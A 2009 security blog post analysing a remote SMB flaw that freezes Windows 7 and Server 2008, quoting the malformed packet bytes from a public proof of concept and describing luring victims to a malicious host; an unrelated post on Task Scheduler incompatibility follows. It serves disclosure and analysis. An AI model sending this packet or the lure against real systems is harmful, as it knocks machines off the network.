Remote SMB Exploit: Crashing Windows 7 and Server 2008

Simon Price — Wed, 11 Nov 2009 21:16:28 +0000

Python code was posted today by Laurent Gaffie on his blog, demonstrating a much too easy way to remotely crash a Windows 7 or Windows Server 2008 machine. The crash is caused by sending a NetBIOS header which specifies that the SMB packet is 4 bytes smaller or larger than it actually is.

In this code sample below, you can see that the header has the length of the packet set to 9a rather than 9e (4 bytes smaller). Update: We have tested with different variations, such as 1 byte and 2 bytes off, which also caused the crash.

packet = "\x00\x00\x00\x9a" # --> length should be 9e not 9a.. 
"\xfe\x53\x4d\x42\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x41\x00\x01\x00\x02\x02\x00\x00\x30\x82\xa4\x11\xe3\x12\x23\x41"
"\xaa\x4b\xad\x99\xfd\x52\x31\x8d\x01\x00\x00\x00\x00\x00\x01\x00"
"\x00\x00\x01\x00\x00\x00\x01\x00\xcf\x73\x67\x74\x62\x60\xca\x01"
"\xcb\x51\xe0\x19\x62\x60\xca\x01\x80\x00\x1e\x00\x20\x4c\x4d\x20"
"\x60\x1c\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x12\x30\x10\xa0\x0e"
"\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a"

We also tested this by setting 9e to aa (4 bytes larger) to see if it had the same affect and it indeed it did.

A little about the “crash”. The Operating System actually freezes. There is no error message, no blue screen of death, no indication that anything has gone wrong. Even after power cycling, the event logs show no sign of a mishap, aside from the typical events generated from booting up again.

Demonstration

Our victim targets are:

A Windows 7 Professional workstation with latest patches.
A Windows Server 2008 R2 Standard Core Edition with latest patches.

On Open BSD, Mac OSX, and Linux 2.6 workstations, we ran the python code and had it listen on port 445. I would have had a Windows server run the listening server, but SMB on Windows already listens on port 445 and for the purpose of the demonstration it was easier to run it on machines that do not listen on this port by default. From the Windows 7 and Windows Server 2008 victim machines, we simply attempt any type of SMB connection to the bad hosts listening with the Python code. This can be done by simply doing a directory command (dir) to a non-existent share (dir \\ip-address\share).

The screenshot below shows the command window with the dir command used to attempt a connection to a host (172.17.20.139) which is running the Python code, ready to send that SMB packet over. As soon as the connection is attempted, the whole machine freezes. I had resource monitor and task manager running and every counter, even the ticking of uptime, stopped dead. In some cases, I left the machine in this state for a significant amount of time. Also, the host was no longer pingable, so once the crash occurred, it was off the network and no longer attempting any more SMB traffic.

What is the big deal?

To simulate how an attacker could use this, we hosted a small internal web page, with a simple link to direct the user to our malicious host. Now, as seen in the image below, our link was very obvious for demonstration purposes, users can be redirected in various obfuscated ways. Although remote elevated privileges or sensitive data theft is not part of this proof of concept, this can still be a very troublesome issue.

References

g-laurent.blogspot.com: Windows 7 / Server 2008R2 Remote Kernel Crash
informationweek.com: Microsoft Investigating Zero-Day Windows 7 Flaw
darkreading.com: Microsoft Looks Into Bug That Can Crash Windows 7
thetechherald.com: Microsoft Kernel Smash vulnerability being investigated

Update

Microsoft says this is being investigated as a possible denial of service vulnerability, but initially responded that correcting it will be handled in the first service pack updates for Windows 7 and Server 2008 R2 rather then as a "Patch Tuesday" security update.

Microsoft has posted a security advisory (977544) regarding the issue.

Related Posts:

Windows Task Scheduler: Backwards Incompatibility

Simon Price — Mon, 07 Sep 2009 01:49:35 +0000

Scheduled tasks are plentiful in most environments. Managing them is typically a nightmare. You have some running to truncate and copy off logs someplace, or others to run a proprietary backup utility to dump a copy of your Quickbooks data; whatever the reason, over time there are more and they are everywhere. Typically, you want to know that they exist, when they are scheduled to run, and most importantly who they are going to run as. (Look our for password expirations!)

Unless you have invested in an enterprise solution for tasks, you are using Windows Task Scheduler and have the tools included with the Windows OS to do the trick. This article is to point out two major snafus you may come across when attempting to manage scheduled tasks across your environment:

Using WMI class versus the task scheduler API and what effects it has.
New versions in Vista / Windows 7 / Windows 2008 that do not work with XP / 2003.

The first item is more for those who attempt scripting and programming to manage the tasks across machines in the environment. WMI has a class called Win32_Scheduledjob which does quite a bit for managing tasks. However, any tasks created with or modified by the task scheduler API (such as through the task scheduler GUI or schtasks.exe) will cause the tasks to no longer be managed by WMI. For example, if you create a task using schtasks.exe, this tasks will not be returned in a WMI query; or, if you create a task using WMI, but then modify it with the task scheduler GUI, it will also no longer turn up in WMI.

So, Win32_Schedulejob is not a great option and we go about our business using the GUI and schdtasks.exe. We move on to our second issue, which is the backwards incompatibility for those using Vista, Windows 7 or Windows 2008. For example, from my Windows 7 workstation, if I use schtasks.exe or the Task Schedule MMC snap-in, I can query, manipulate, create tasks on Vista, Windows 7 or Windows 2008. When I attempt to reach a Windows XP or Windows 2003 machine, I get Access Denied. Running the older XP version of schtasks.exe did not return errors when run against any version OS. This is painful. The solution is to run the management commands from an XP or 2003 machine, or to copy the schtasks.exe and schedsvc.dll files from those version into a directory on your Vista / Win7 machine and run it from there. See this screenshot using both versions of the tool from my Windows 7 workstation, querying a Windows XP machine. I printed the file version each time to show the newer copy fails with Access is Denied.

You may very well have proper access, but this Access Denied means you have a newer version of the tool.

This Technet article explains what is new in Task Scheduler 2.0 (Vista and above) compared to 1.0. There are many new features, but I would have liked to have a schtasks.exe and a MMC snap-in that was backwards compatible to manage older versions.

One last note is that .job files from XP/2003 are not compatible with the newer Task Scheduler 2.0 (xml format). I’ve seen that folks used the older schtasks.exe to dump the task information in table format, than use Excel to properly edit it to the valid xml format.